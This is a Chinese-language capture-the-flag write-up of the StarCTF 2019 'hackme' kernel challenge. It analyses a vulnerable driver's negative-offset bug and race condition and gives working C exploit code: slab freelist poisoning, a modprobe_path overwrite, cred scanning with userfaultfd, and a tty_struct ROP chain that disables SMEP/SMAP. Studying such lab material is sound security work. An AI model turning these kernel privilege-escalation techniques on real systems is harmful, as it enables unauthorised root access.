此次选择StarCTF2019的Hackme题目来分析
题目分析
Qemu启动脚本
1
2
3
4
5
6
7
8
9
10
11
|
#! /bin/sh
qemu-system-x86_64 \
-m 256M \
-nographic -net user -net nic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null 2>/dev/null \
-initrd initramfs.cpio \
-smp cores=2,threads=2 \
-cpu qemu64,smep,smap \
-s
|
开启以下保护
SMEP: 管理模式执行保护,保护内核是其不允许执行用户空间代码
SMAP: 管理模式访问保护,禁止内核访问用户空间的数据
KASLR: 内核地址随机化
同时,镜像以多线程形式启动
/etc/init.d/rcS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
#!/bin/sh
echo "CiAgICAgICAgIyAgICMgICAgIyMjIyAgICAjIyMjIyAgIyMjIyMjCiAgICAgICAgICMgIyAgICAj
ICAgICMgICAgICMgICAgIwogICAgICAgIyMjICMjIyAgIyAgICAgICAgICAjICAgICMjIyMjCiAg
ICAgICAgICMgIyAgICAjICAgICAgICAgICMgICAgIwogICAgICAgICMgICAjICAgIyAgICAjICAg
ICAjICAgICMKICAgICAgICAgICAgICAgICAjIyMjICAgICAgIyAgICAjCgo=" | base64 -d
mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts
insmod /home/pwn/hackme.ko
chmod 644 /dev/hackme
echo 0 > /proc/sys/kernel/dmesg_restrict # 写0,可通过 dmseg 命令查看内核日志
echo 0 > /proc/sys/kernel/kptr_restrict # 可读取/proc/kallsyms,为何此处我 cat /proc/kallsyms 指针地址都是0
cat /proc/modules
cat /proc/kallsyms | grep prepare_cred
cd /home/pwn
chown -R root /flag
chmod 400 /flag
#cat /proc/slabinfo | grep cred_jar
chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f
|
脚本打印了驱动模块hackme.ko加载地址,可以方便使用GDB进行调试
驱动模块
驱动写了一个常规Pwn中的堆题功能相似的结构,增删查改功能都有
1
2
3
4
5
6
7
8
9
10
|
// case 0x30000: add
// case 0x30001: delete
// case 0x30002: write_to_kernel
// case 0x30003: read_from_kernel
struct user_arg {
size_t index;
char *user_ptr;
size_t size;
size_t off;
};
|
其中存在如上一个结构体,利用ioctl与驱动交互,会读取上述0x20大小的数据到内核中
copy_from_user(&INDEX, arg, 0x20LL);
0x30000 add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
if (CMD == 0x3000)
{
Size = size;
User_ptr = user_ptr;
BSS_ptr = &LIST[2 * INDEX];
if ( *BSS_ptr )
return -1LL;
k_ptr = _kmalloc(size, 0x6000C0LL);
if ( !k_ptr )
return -1LL;
*BSS_ptr = k_ptr;
copy_from_user(k_ptr, User_ptr, Size);
BSS_ptr[1] = Size;
return 0LL;
}
|
0x30001 delete
1
2
3
4
5
6
7
8
9
10
11
12
13
|
if ( CMD == 0x30001 )
{
idx = 2LL * INDEX;
k_ptr = LIST[idx];
BSS_ptr = &LIST[idx];
if ( k_ptr )
{
kfree(k_ptr, Arg);
*BSS_ptr = 0LL;
return 0LL;
}
return -1LL;
}
|
0x30002 write_to_kernel
1
2
3
4
5
6
7
8
9
10
11
|
if ( CMD == 0x30002 )
{
idx = 2LL * INDEX;
k_ptr = LIST[idx];
BSS_ptr = &LIST[idx];
if ( k_ptr && offset + size <= BSS_ptr[1] )
{
copy_from_user(offset + k_ptr, user_ptr, size);
return 0LL;
}
}
|
0x30003 read_from_kernel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
if ( CMD == 0x30003 )
{
idx = 2LL * INDEX;
k_ptr = LIST[idx];
BSS_ptr = &LIST[idx];
if ( k_ptr )
{
if ( offset + size <= BSS_ptr[1] )
{
copy_to_user(user_ptr, offset + k_ptr, size);
return 0LL;
}
}
}
|
漏洞点
- 在
read_from_kernel和write_to_kernel中,只检验了 offset + size <= BSS_ptr[1],没有检验offset的范围,所以offset可以为负数从而可以向上写数据
- 在
add和delete中,对于内核堆指针的存放和置0过程中,没有加锁,所以存在条件竞争漏洞,两个线程,一个释放堆块,一个修改或读取堆块,即可实现UAF漏洞
利用
1. 负溢实现任意写
首先申请5次堆块,然后释放1,3
1
2
3
4
5
6
7
|
add(fd,0,buf,0x100);
add(fd,1,buf,0x100);
add(fd,2,buf,0x100);
add(fd,3,buf,0x100);
add(fd,4,buf,0x100);
delete(fd,1);
delete(fd,3);
|
此时chunk3指向chunk1,再利用负溢和read_from_kernel函数,即可从index=4获取位于chunk3中的堆地址,此处堆地址后续无用
1
2
3
|
read_from_kernel(fd,4,buf,0x100,-0x100);
heap_address = *(size_t*)buf;
printf("HEAP:\t%p\n",heap_address);
|
之后则猜测在chunk0之前存在系统申请的堆块,那么其中也许残留有内核指针,同样的操作,读取chunk0前的数据,从而计算出内核基址
1
2
3
4
5
6
|
read_from_kernel(fd,0,buf,0x200,-0x200);
kernel_base = *(size_t*)(buf + 0x28);
if ((kernel_base & 0xFFF) != 0xAE0) exit(-1);
kernel_base -= 0x849AE0; // sub sysctl_table_root offset
printf("Kernel:\t%p\n",kernel_base);
|
既然拿到了内核地址,那么配合write_to_kernel修改已经释放的堆块的首位8个字节,则可以控制堆块任意申请到指定位置,此处还需要泄漏模块hackme.ko加载地址
1
2
3
4
5
6
7
8
9
10
|
size_t p = kernel_base + 0x811000 + 0x40; // add 0x40 to avoid the junk data to cover the hackme load address
memcpy(buf,&p,8);
write_to_kernel(fd,4,buf,0x100,-0x100);
add(fd,5,buf,0x100); // old chunk 3
add(fd,6,buf,0x100);
read_from_kernel(fd,6,buf,0x40,-0x40);
mod_address = *(size_t*)(buf + 0x18);
printf("Mod:\t%p\n",mod_address);
|
通过mod_tree的偏移加上kernel_base计算出当前mod_tree在内存中的位置,加0x40是因为在add的时候,申请多大的数据则会复制多少数据到内核中,而mod_tree+0x18存放了hackme.ko的加载地址,如果在此之前因为拷贝数据会导致想要的数据被覆盖,所以申请chunk到想要的数据所在内存之后,然后利用负溢读取之前的数据获取hackme.ko的加载地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
delete(fd,5);
size_t pool = mod_address + 0x2400 + 0x100; // select a suitable address to save the evil address
// here I choose pool+0x100 to save them;
memcpy(buf,&pool,8);
write_to_kernel(fd,4,buf,0x100,-0x100);
add(fd,7,buf,0x100);
add(fd,8,buf,0x100);
*(size_t*)(buf + 8) = 0x100;
*(size_t*)(buf + 0) = kernel_base + 0x83F960; // it is the offset of modprobe_path in vmlinux
write_to_kernel(fd,8,buf,0x10,0);
|
既然获取了驱动模块加载地址,那么此时则利用堆块任意申请将堆块申请到pool数组处,之后则可以进行控制堆块指针,实现任意写,此处我们修改modprobe_path指针中存放的文件地址为我们的shell脚本,因为执行call_usermodehelper时以root权限执行,所以当执行一个错误的elf文件则会触发此函数,并执行modprobe_path指向的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
strncpy(buf,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0x10,buf,18,0);
/*
#!/bin/sh
/bin/cp /flag /home/pwn/flag
/bin/chmod 777 /home/pwn/flag
*/
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
system("cat flag");
close(fd);
return 0;
|
2. 劫持tty_struct
因为打开/dev/ptmx时,会申请0x400大小的空间,此时释放一个0x400的堆块,当打开/dev/ptmx时会申请前面释放的堆块,再配合write_to_kernel、read_from_kernel以及负数溢出即可从tty_struct结构体中读取到内核指针并控制tty_struct中的tty_operations指针,之后再构建ROP Chain即可
3. 利用userfaultfd机制修改cred结构数据
首先fork200个子进程并让每次fork的子进程判断uid==0后执行shell,此过程中会申请一定相应大小的内存存放Cred结构体,而这段内存位于kmalloc申请的堆块的上方大约0x160000偏移左右处
1
2
3
4
5
|
for (i = 0; i<200; i++)
{
if (fork() == 0)
get_root(i);
}
|
Cred结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
};
|
之后通过负溢读取上方0x160000偏移左右处往后的数据,从中搜寻cred结构体,因为镜像启动后,用户权限是1000,所以对应Cred结构体中的uid开始的8*4字节都是1000,搜索到后则置0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
char *buf = malloc(MAX_DATA_SIZE);
add(fd, 0, buf, 0x100);
read_from_kernel(fd, 0, buf, MAX_DATA_SIZE, -MAX_DATA_SIZE);
uint32_t *mem = (uint32_t*)buf;
uint32_t cred_offset = 0;
puts("[+] Searching Cred");
for (i = 0; i < SEARCH_SIZE/4; i++)
{
if (mem[i + 0] == 1000 &&
mem[i + 1] == 1000 &&
mem[i + 2] == 1000 &&
mem[i + 3] == 1000 &&
mem[i + 4] == 1000 &&
mem[i + 5] == 1000 &&
mem[i + 6] == 1000 &&
mem[i + 7] == 1000)
{
printf("[+] Find A Cred At Offset: %#x\n", i*4); // Searching One Cred And Modify IT TO R00T (:
for (j = 0; j < 8; j++)
mem[i+j] = 0;
cred_offset = i*4;
break;
}
}
if (cred_offset == 0)
{
puts("[-] Cannot Find Cred");
exit(-1);
}
|
既然已经获取并修改了对应的数据,后面要做的就是将修改后的数据重新写回到内核对应的内存位置,因为写入大约0x10000字节数据后,后面则是不可写数据段,继续写会触发内核崩溃,所以在写回之前,利用userfaultfd机制,在写入0x10000字节的同时,监控0x10000后面的地址,如果触碰到缺页,则会暂停数据拷贝,且此时已经将上面0x10000中的数据写回修改了某个子进程的cred结构体,而此子进程则会判断uid==0并执行/bin/sh
1
2
3
4
5
6
|
char *new = (char *) mmap(NULL, MAX_DATA_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(new, buf, SEARCH_SIZE);
fault_page = (uint64_t)new + SEARCH_SIZE;
fault_page_len = MAX_DATA_SIZE - SEARCH_SIZE;
register_userfault(fault_page, fault_page_len); // 注册缺页,如果访问到非法地址,则会挂起进程,防止内核崩溃
write_to_kernel(fd, 0, new, MAX_DATA_SIZE, -MAX_DATA_SIZE); // 当内核访问到非法地址时,cred中UID已经被修改为0
|
4. 利用userfaultfd机制和条件竞争修改tty_struct
因为后面利用了tty_struct结构来构造ROP Chain,所以首先保存用户态的几个必要的寄存器,add一次然后释放残留一个很大的size,父进程sleep(2),让fork的子进程先运行,子进程会先注册并监控缺页内存,子进程中的copy_from_user会因为此时传入到内核中的ptr对应的内存未初始化,从而触碰userfaultfd机制并挂起,此时pool数组中存有一个指针,因为驱动中是在copy_from_user执行后才保存指针的,所以残留的0x200000大小的size没有被覆盖掉
*BSS_ptr = k_ptr;
copy_from_user(k_ptr, User_ptr, Size);
BSS_ptr[1] = Size;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
save_status();
uint64_t fault_page,fault_page_len;
uint64_t kernel_base, heap_base, ptm_unix98_ops = 0x625D80;
size_t fd = open("/dev/hackme",O_RDONLY);
char *buf = malloc(SEARCH_SIZE);
memset(buf,0,SEARCH_SIZE);
add(fd, 0, buf, SEARCH_SIZE);
delete(fd, 0);
if (fork() == 0)
{
buf = (char*)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uint64_t fault_page = (uint64_t)buf;
uint64_t fault_page_len = 0x1000;
register_userfault(fault_page, fault_page_len); // 注册监视缺页内存,遇到缺页则会挂起
add(fd, 0, buf, 0x2E0);
}
sleep(2); // 等待子进程触发页错误
|
之后则是利用驱动模块中的指针并搜寻内存中tty_struct结构体的所在位置,因为size很大,所以搜寻的范围也很大,找到tty_struct后利用tty_struct中的数据计算出kernel-base和堆地址则是部署一个ROP Chain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
size_t ptmx_fd = open("/dev/ptmx",O_RDONLY);
puts("---- Begin TO Find PTMX Struct");
uint64_t evil_buf[0x200/8];
uint64_t ptmx_offset = 0,i,j;
for (i = 0; i < SEARCH_SIZE; i += 0x200)
{
read_from_kernel(fd, 0, (char*)evil_buf, 0x200, i);
for (j = 0; j < 0x200/8; j++)
if (evil_buf[j] == 0x0000000100005401)
{
ptmx_offset = i + j*8;
printf("[+] Have Found PTMX Struct At Offset: %#lx\n", ptmx_offset);
break;
}
if (ptmx_offset != 0)
break;
}
if (ptmx_offset == 0)
errExit("[-] Cannot find ptmx struct");
// 通过tty_struct 中的指针 从而获取堆 和 内核的地址
kernel_base = evil_buf[3] - ptm_unix98_ops;
heap_base = evil_buf[7] - 0x38 - ptmx_offset;
printf("Kernel:\t%p\n",kernel_base);
printf("HEAP:\t%p\n",heap_base);
prepare_kernel_cred = 0x4D3D0 + kernel_base;
commit_creds = 0x4D220 + kernel_base;
|
ROP Chain布置如下,不多说了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
evil_buf[3] = (uint64_t)heap_base + 0x180; // 此处指向 fake_tty_operations 指针位置,只要满足调用ioctl指针的时候调用gadget1
// 而脚本是从 [0x80/8 + i]开始才存放gadget1指针,所以此处指向0x180偏移处
evil_buf[0x38/8] = heap_base + 0x100;
write_to_kernel(fd, 0, (char*)evil_buf, sizeof(evil_buf), ptmx_offset);
//******* 简单的构造ROP + tty_struct 进行利用,其中修改CR4寄存器,故可以ret2usr
uint64_t fake_tty_operations[40];
for (i = 0; i < 0x10; i++)
fake_tty_operations[0x80/8+i] = kernel_base + 0x5DBEF;
// 改tty_operations中ioctl函数指针对应的指针
// gadget 1: mov rax, qword ptr [rbx + 0x38]; mov rdx, qword ptr [rax + 0xC8]; call rdx;
fake_tty_operations[0xC8/8] = kernel_base + 0x200F66; //gadget 2: mov rsp, rax; pop r12; push r12; retn
fake_tty_operations[0] = kernel_base + 0x01B5A1; //pop rax ; ret
fake_tty_operations[1] = 0x6F0;
fake_tty_operations[2] = kernel_base + 0x0252B; //mov cr4, rax; push rcx; popfq; pop rbp; ret;
fake_tty_operations[3] = 0;
fake_tty_operations[4] = (size_t)&get_root;
write_to_kernel(fd, 0, (char*)fake_tty_operations, sizeof(fake_tty_operations), 0x100);
ioctl(ptmx_fd,0,0);
|
知识点
1. 堆分配: 在Linux Kernel中,kmalloc等堆内存分配,基于`slub`分配器,当释放的时候,将会以单向链表的形式进行维护;
先入后出结构,首位8字节指向之前释放的相同大小堆块
修改此8字节为可控地址,则能够实现任意内存分配,且当堆块申请回来,可以利用残留数据获取堆块地址或者内核基址
2. 泄漏模块驱动加载地址: 权限足够,可以读取`/proc/kallsyms` 或者 `cat /sys/modules/device_name/section/.text`,从而获取模块驱动加载地址
“Reference”
[linux内核漏洞利用]call_usermodehelper提权路径变量总结
[附件]